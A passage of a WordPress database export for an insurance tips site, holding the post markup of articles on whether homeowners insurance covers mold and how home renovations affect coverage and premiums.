takeaways:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Mold coverage isn’t guaranteed by your homeowners insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Typically, mold damage is only covered if it’s related to a covered peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mold damage caused by flooding would need to be covered by a separate flood insurance policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Proper preventative measures can help minimize the odds of having to deal with a mold issue.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">Covered Perils and Mold Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance policies spell out a list of “covered perils,” meaning instances of damage to the home for which you’re eligible to file a claim. The main cause of mold formation is water seeping into the structure of your home, so you need to know which water-related covered perils are included in your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, your policy may cover you if mold results from any of the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-11\"><!-- wp:list-item -->\n<li>Water leaks associated with a malfunctioning appliance</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by a burst hot water heater</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by firefighters extinguishing a fire in your home</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">In these instances mold would be “resulting damage” from a covered peril. It’s important to distinguish between resulting damage and initial damage. For example, if your water heater breaks and a leak causes mold to form in the walls, then your policy might pay for the walls to be repaired and the mold to be removed but not for the replacement of the hot water heater.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">It’s important to note that the amount your policy may pay for mold repair and removal might not cover all the resulting damage. “This extent of mold coverage is typically limited—for example, a company may cap mold removal and remediation at $10,000 for a single occurrence,” says Pat Howard. Higher coverage limits may be available, but if you’re unsure about what’s covered, Howard suggests talking to your agent to find out what options you have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Mold Caused by Floods or Acts of Nature</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">In some cases mold can grow as a result of water damage from outside forces. Whether your homeowners insurance covers mold in that instance depends on what caused the damage to begin with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Mold that’s a result of storm surges, like floodwaters, is usually not covered by standard homeowners insurance,” Harper says. “That’s because standard home insurance policies don’t cover flood damage—you need flood insurance for that.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">If you have a flood insurance policy and your home is flooded due to heavy rains, a hurricane, or another act of nature, then your policy may extend to mold removal and repairs necessitated by flooding. Flood insurance costs on average around $700 per year in addition to your regular homeowners insurance premium, though it may cost more if you live in an area that’s at higher risk for flooding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">That may be worth the investment, however, if you’re concerned about mold resulting from a flood. According to FEMA, just one inch of water in your home can cause $25,000 in damage. Flood insurance with mold coverage could help mitigate some cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Mold that results from other acts of nature, such as a hurricane or an ice storm, may be covered under your homeowners insurance policy. For instance, if a hurricane tears your roof off and water gets inside the home, causing mold to grow, you might be able to file a claim for that along with other damages to the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">Mold Resulting From Negligence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">The third category of mold-related damage is associated with negligence on the part of the homeowner. What this means in simple terms is ignoring home maintenance or repairs to the extent that they allow mold to develop. “Mold typically isn’t covered by your homeowners insurance policy if it forms because of neglect or lack of upkeep,” Howard says. “If you knowingly could have prevented the mold by fixing leaky pipes or using a dehumidifier, your insurer won’t reimburse you for mold removal and remediation.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Say that you notice the seal around the base of your toilet is leaking water. Instead of replacing the seal or the toilet, you let the leak continue, which causes damage to the sub-flooring. From there, mold sets in and spreads to the baseboards and walls. In that instance, your homeowners insurance policy claim may be denied because you were in a position to prevent the mold from happening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">How to Avoid Having a Mold Damage Claim Denied</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">There are several things you can do to prevent mold and/or improve the odds of having your claim approved if you incur mold damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">On the prevention side, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-40\"><!-- wp:list-item -->\n<li>nstall dehumidifiers in areas that are prone to dampness</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly check plumbing pipes and fittings to look for leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adequately ventilate bathrooms, laundry rooms, kitchens, and other areas of your home where mold may have an opportunity to grow</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep gutters clean to prevent the formation of ice dams in winter, which can lead to leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof—and around windows and doors—and caulk cracks that could allow water to leak in</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Properly insulate interior and exterior pipes in winter to avoid breakages or leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Routinely check appliances and hot water heaters for signs of leaks</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you have to file a claim for mold damage:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-44\"><!-- wp:list-item -->\n<li>Properly document the damage with photos and/or video</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Provide up-to-date maintenance records if you have them</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Follow any and all instructions the insurance company gives you to process the claim</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contract approved mold removal companies to clean up the damage</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">What to Do if Your Mold Claim Is Denied</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">If your homeowners insurance company denies your mold claim, you may want to get a licensed contractor to offer a second opinion on what caused the damage. You could also attempt to appeal the denial with your insurance company if it has a specified appeals process. If not, your state insurance commissioner may be able to offer help on what you can do to get the claim approved or to file a complaint about denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.investopedia.com/does-homeowners-insurance-cover-mold-4782771\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','inherit','closed','closed','','1832-revision-v1','','','2024-05-25 19:39:54','2024-05-25 19:39:54','',1832,'https://smartinsurance.tips/?p=4103',0,'revision','',0),(4104,1,'2024-05-25 19:42:11','2024-05-25 19:42:11','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4161,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-4161\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Significant home renovations can impact the value of your home, and you may need to adjust your homeowners insurance accordingly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adding square footage or valuable upgrades could increase your insurance premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Renovations that reduce your risk of a claim, like a roof replacement or new security system, could decrease your premium costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some carriers offer endorsements, builder\'s risk insurance, to ensure you have enough coverage during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A home renovation project can be exciting, stressful and all-consuming. Homeowners are likely to consider their project’s budget closely, along with details like design inspiration and a timeline for getting the job done. While there are many important considerations to make, one easy detail to overlook can be how the renovation may change the homeowner’s insurance coverage you need once the project is complete. Even during the renovation process, you may want to boost the coverage that’s in place to cover the worksite and contractors on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover renovations?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While homeowners insurance won’t cover new renovations directly, your existing home insurance policy will likely need to be adjusted following the completion of your renovations. If you are planning a small renovation — perhaps some new paint and a set of built-in bookcases in your living room — your homeowners insurance may not be impacted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But larger renovation projects, from a kitchen remodel to finishing your basement, change your home’s overall rebuild value. The&nbsp;dwelling coverage&nbsp;listed on your homeowners insurance policy is based on your home’s estimated rebuild value. Remodeling can affect that value because it is determined by your home’s characteristics, such as square footage, finishings, number of bathrooms and roof type.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, consider a home that is insured for $200,000. The owner upgrades the kitchen: new appliances, granite countertops, custom cabinets — the works. The home’s rebuild value is now $260,000. If a disaster such as a fire destroyed the home, $200,000 in coverage would not be enough to restore the house to its former condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get renovation insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When undertaking a home renovation project, it’s essential to understand the limitations of standard homeowners insurance and the potential need for additional home renovation insurance. Standard policies typically do not extend full coverage to construction materials and liabilities that arise specifically from renovation activities. Moreover, if a home is vacant during major renovations, standard insurance often falls short, as vacant homes present different risks compared to occupied ones. This is where specific endorsements or additional policies, often referred to as renovation insurance, may become crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Builder’s risk insurance:</strong>&nbsp;This can cover construction materials, both on-site and in transit, against risks like theft, fire or weather damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vacant home insurance:</strong>&nbsp;Standard policies do not typically provide coverage for vacant homes, so if you’re living elsewhere during renovations, you may need this endorsement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability endorsements:</strong>&nbsp;These offer additional financial protection against accidents or injuries that might occur on your property during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Speaking with your insurance agent about the scope of your renovations may help you decide if you need additional coverage during the construction process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of renovations that affect homeowners insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The type of renovation you make on your home will impact the rate at which your insurance needs change. In general, anything that increases the value of your home will indicate a need for more insurance coverage, and the corresponding higher premiums that go with it. But that’s not always the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home additions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adding an addition is a major renovation project that increases your home’s square footage and will undoubtedly increase your home’s value since square footage is one of the primary factors used in determining your rebuild value. Building a family room on the back of your home, for example, or adding a dormer that increases the space on the second floor, will add value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The right time to call your insurer for a home addition is when you are still in the planning stages. Once you have the architectural drawings nailed down, call your insurance representative and let them know what you’re planning. They can review your remodel insurance options and the probable premium increase so that you are fully aware of your costs post renovation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Major renovations and improvements</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although improvement projects such as upgrading your kitchen or bathroom don’t increase your square footage, they can still affect your homeowners insurance policy. Most interior renovations are designed to get rid of old, outdated elements and replace them with new ones. The grade or type of the items used in places like your kitchen and bathroom are usually questions your insurance agent will ask when helping calculate the estimated rebuild of your home. If you have upgraded these rooms, it’s worth a call to your property insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After these renovations, you may want to consider&nbsp;replacement cost value&nbsp;rather than actual cash value if your policy currently does not have this coverage. The former may cost more but will provide additional financial protection for higher-grade home elements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a pool, sauna or hot tub</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although these elements can give you a great deal of satisfaction while&nbsp;adding value to your home, they are also a liability hazard. It’s not hard to see how someone might be hurt — or worse — and insurers need to protect themselves from liability claims when you install one by raising your premium. Your insurer may also require you to install a fence or night-time lighting around any water feature you have on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Updating the roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Replacing your roof does add value to your home, and may impact your premium rate, but many insurers provide discounts for a new roof. If you live in a coastal area frequented by hurricanes or wind storms, there may be further discounts if you choose damage-resistant materials for your roof. The result? You may see your rate decrease when you install a new roof on your home. The same is true if you install new locks or tamper-proof windows. Ask your insurance agent if there is a discount for these items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a home office</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you primarily work from home and find yourself needing a dedicated home office, this renovation project may affect your insurance policy. For example, running a business out of your home where people are coming to your property increases the risk of a liability claim. Because of that, your standard homeowners insurance policy may not provide business-related claims that occur on your property. In addition, if you are storing items on your property that are primarily for business use, your policy might have limited&nbsp;personal property coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The cost of home renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The change in home insurance when renovating will largely depend on the increased dwelling value of the home. The tricky part is that your home’s value is not based on the market value — which is the price you paid for it or the price it would get on today’s real estate market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurers use a different value — a&nbsp;replacement cost calculation&nbsp;determined by multiplying your home’s square footage by the cost-per-foot of construction in your region. This includes looking at what it would cost to replace your home in your neighborhood with similar quality materials. Any high-end finishes and top-of-the-line materials your home has are factored into calculation costs as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thus, your home might be worth $200,000 on the market, but your insurer could still recommend that you insure it for $275,000 if construction costs are high. If you insured the home only for the market value, you could find yourself underinsured if the home were destroyed or damaged. On the other hand, if the seller’s market is hot and your home’s market value is significant due to demand, your dwelling insurance coverage could be lower if the estimated rebuild of your home is less than the sellable amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A handy tool to use when you’re determining your insurance value is an ITV (insurance-to-value) calculator, which industry professionals use to determine if a home is adequately insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another factor to think about is liability. If your renovations increase your potential liability exposure, you may need higher liability limits. An example of this includes adding attractive nuisances, like a&nbsp;swimming pool. Renovations that increase your liability exposure may also increase your cost of home insurance as your insurer could see you as riskier to insure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to reduce risk during renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although it is important to take a good look at your insurance needs in your renovated home, that is not enough. You should also consider your insurance needs during the renovation, which may differ from your normal insurance needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Additional riders may be needed.&nbsp;</strong>&nbsp;The estimated number of fires in structures under construction has&nbsp;increased since 2014, according to the National Fire Protection Association (NFPA). Because of fire, theft and the other hazards to a home during construction, your insurer may need to add a temporary dwelling under construction rider to your policy to cover contingencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>A new policy type may be needed</strong>. If you are completing a major renovation that requires you to leave the home and live elsewhere for an extended period, you may need to update your policy to a&nbsp;vacant home policy, which can protect your property while you are away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review existing policy limits.&nbsp;</strong>If you are doing the remodeling yourself or in conjunction with friends or family, talk to your agent about any limitations with your&nbsp;personal liability&nbsp;and medical payments coverage. If you are hiring a contractor, most of them have their own coverage if one of their workers is injured on the job. However, you will want to confirm this before any work starts. If you are working on it yourself or with other non-professionals, the right coverage is vital.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In general, during construction, your homeowners insurance should cover you for any faulty work or defective materials used in the building process. It is worth double-checking this with your insurer before work starts to be sure you are covered. What is also important to remember is completing work that adheres to safety standards is crucial. If renovating your plumbing or electrical, for example, following the right guidelines is necessary to reduce the risk of your property not being covered in the event of a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.bankrate.com/insurance/homeowners-insurance/home-insurance-during-renovations/#how-to-reduce-risk-during-renovations\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Renovations?','','publish','closed','closed','','does-homeowners-insurance-cover-renovations','','','2024-06-08 00:36:19','2024-06-08 00:36:19','',0,'https://smartinsurance.tips/?p=4104',0,'post','',0),(4105,1,'2024-05-25 19:41:00','2024-05-25 19:41:00','','Untitled-22','','inherit','closed','closed','','untitled-22-6','','','2024-05-25 19:41:00','2024-05-25 19:41:00','',4104,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-22.png',0,'attachment','image/png',0),(4106,1,'2024-05-25 19:42:11','2024-05-25 19:42:11','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4105,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-4105\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Significant home renovations can impact the value of your home, and you may need to adjust your homeowners insurance accordingly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Adding square footage or valuable upgrades could increase your insurance premium.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Renovations that reduce your risk of a claim, like a roof replacement or new security system, could decrease your premium costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some carriers offer endorsements, builder\'s risk insurance, to ensure you have enough coverage during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>A home renovation project can be exciting, stressful and all-consuming. Homeowners are likely to consider their project’s budget closely, along with details like design inspiration and a timeline for getting the job done. While there are many important considerations to make, one easy detail to overlook can be how the renovation may change the homeowner’s insurance coverage you need once the project is complete. Even during the renovation process, you may want to boost the coverage that’s in place to cover the worksite and contractors on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover renovations?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While homeowners insurance won’t cover new renovations directly, your existing home insurance policy will likely need to be adjusted following the completion of your renovations. If you are planning a small renovation — perhaps some new paint and a set of built-in bookcases in your living room — your homeowners insurance may not be impacted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But larger renovation projects, from a kitchen remodel to finishing your basement, change your home’s overall rebuild value. The dwelling coverage listed on your homeowners insurance policy is based on your home’s estimated rebuild value. Remodeling can affect that value because it is determined by your home’s characteristics, such as square footage, finishings, number of bathrooms and roof type.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, consider a home that is insured for $200,000. The owner upgrades the kitchen: new appliances, granite countertops, custom cabinets — the works. The home’s rebuild value is now $260,000. If a disaster such as a fire destroyed the home, $200,000 in coverage would not be enough to restore the house to its former condition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can I get renovation insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When undertaking a home renovation project, it’s essential to understand the limitations of standard homeowners insurance and the potential need for additional home renovation insurance. Standard policies typically do not extend full coverage to construction materials and liabilities that arise specifically from renovation activities. Moreover, if a home is vacant during major renovations, standard insurance often falls short, as vacant homes present different risks compared to occupied ones. This is where specific endorsements or additional policies, often referred to as renovation insurance, may become crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Builder’s risk insurance:</strong>&nbsp;This can cover construction materials, both on-site and in transit, against risks like theft, fire or weather damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Vacant home insurance:</strong>&nbsp;Standard policies do not typically provide coverage for vacant homes, so if you’re living elsewhere during renovations, you may need this endorsement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Liability endorsements:</strong>&nbsp;These offer additional financial protection against accidents or injuries that might occur on your property during the renovation process.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Speaking with your insurance agent about the scope of your renovations may help you decide if you need additional coverage during the construction process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of renovations that affect homeowners insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The type of renovation you make on your home will impact the rate at which your insurance needs change. In general, anything that increases the value of your home will indicate a need for more insurance coverage, and the corresponding higher premiums that go with it. But that’s not always the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home additions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adding an addition is a major renovation project that increases your home’s square footage and will undoubtedly increase your home’s value since square footage is one of the primary factors used in determining your rebuild value. Building a family room on the back of your home, for example, or adding a dormer that increases the space on the second floor, will add value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The right time to call your insurer for a home addition is when you are still in the planning stages. Once you have the architectural drawings nailed down, call your insurance representative and let them know what you’re planning. They can review your remodel insurance options and the probable premium increase so that you are fully aware of your costs post renovation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Major renovations and improvements</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although improvement projects such as upgrading your kitchen or bathroom don’t increase your square footage, they can still affect your homeowners insurance policy. Most interior renovations are designed to get rid of old, outdated elements and replace them with new ones. The grade or type of the items used in places like your kitchen and bathroom are usually questions your insurance agent will ask when helping calculate the estimated rebuild of your home. If you have upgraded these rooms, it’s worth a call to your property insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After these renovations, you may want to consider replacement cost value rather than actual cash value if your policy currently does not have this coverage. The former may cost more but will provide additional financial protection for higher-grade home elements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a pool, sauna or hot tub</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although these elements can give you a great deal of satisfaction while adding value to your home, they are also a liability hazard. It’s not hard to see how someone might be hurt — or worse — and insurers need to protect themselves from liability claims when you install one by raising your premium. Your insurer may also require you to install a fence or night-time lighting around any water feature you have on your property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Updating the roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Replacing your roof does add value to your home, and may impact your premium rate, but many insurers provide discounts for a new roof. If you live in a coastal area frequented by hurricanes or wind storms, there may be further discounts if you choose damage-resistant materials for your roof. The result? You may see your rate decrease when you install a new roof on your home. The same is true if you install new locks or tamper-proof windows. Ask your insurance agent if there is a discount for these items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Adding a home office</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you primarily work from home and find yourself needing a dedicated home office, this renovation project may affect your insurance policy. For example, running a business out of your home where people are coming to your property increases the risk of a liability claim. Because of that, your standard homeowners insurance policy may not provide business-related claims that occur on your property. In addition, if you are storing items on your property that are primarily for business use, your policy might have limited personal property coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The cost of home renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The change in home insurance when renovating will largely depend on the increased dwelling value of the home. The tricky part is that your home’s value is not based on the market value — which is the price you paid for it or the price it would get on today’s real estate market.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurers use a different value — a replacement cost calculation determined by multiplying your home’s square footage by the cost-per-foot of construction in your region. This includes looking at what it would cost to replace your home in your neighborhood with similar quality materials. Any high-end finishes and top-of-the-line materials your home has are factored into calculation costs as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thus, your home might be worth $200,000 on the market, but your insurer could still recommend that you insure it for $275,000 if construction costs are high. If you insured the home only for the market value, you could find yourself underinsured if the home were destroyed or damaged. On the other hand, if the seller’s market is hot and your home’s market value is significant due to demand, your dwelling insurance coverage could be lower if the estimated rebuild of your home is less than the sellable amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A handy tool to use when you’re determining your insurance value is an ITV (insurance-to-value) calculator, which industry professionals use to determine if a home is adequately insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another factor to think about is liability. If your renovations increase your potential liability exposure, you may need higher liability limits. An example of this includes adding attractive nuisances, like a swimming pool. Renovations that increase your liability exposure may also increase your cost of home insurance as your insurer could see you as riskier to insure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to reduce risk during renovations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Although it is important to take a good look at your insurance needs in your renovated home, that is not enough. You should also consider your insurance needs during the renovation, which may differ from your normal insurance needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Additional riders may be needed. </strong> The estimated number of fires in structures under construction has increased since 2014, according to the National Fire Protection Association (NFPA). Because of fire, theft and the other hazards to a home during construction, your insurer may need to add a temporary dwelling under construction rider to your policy to cover contingencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>A new policy type may be needed</strong>. If you are completing a major renovation that requires you to leave the home and live elsewhere for an extended period, you may need to update your policy to a vacant home policy, which can protect your property while you are away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Review existing policy limits. </strong>If you are doing the remodeling yourself or in conjunction with friends or family, talk to your agent about any limitations with your personal liability and medical payments coverage. If you are hiring a contractor, most of them have their own coverage if one of their workers is injured on the job. However, you will want to confirm this before any work starts. If you are working on it yourself or with other non-professionals, the right coverage is vital.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In general, during construction, your homeowners insurance should cover you for any faulty work or defective materials used in the building process. It is worth 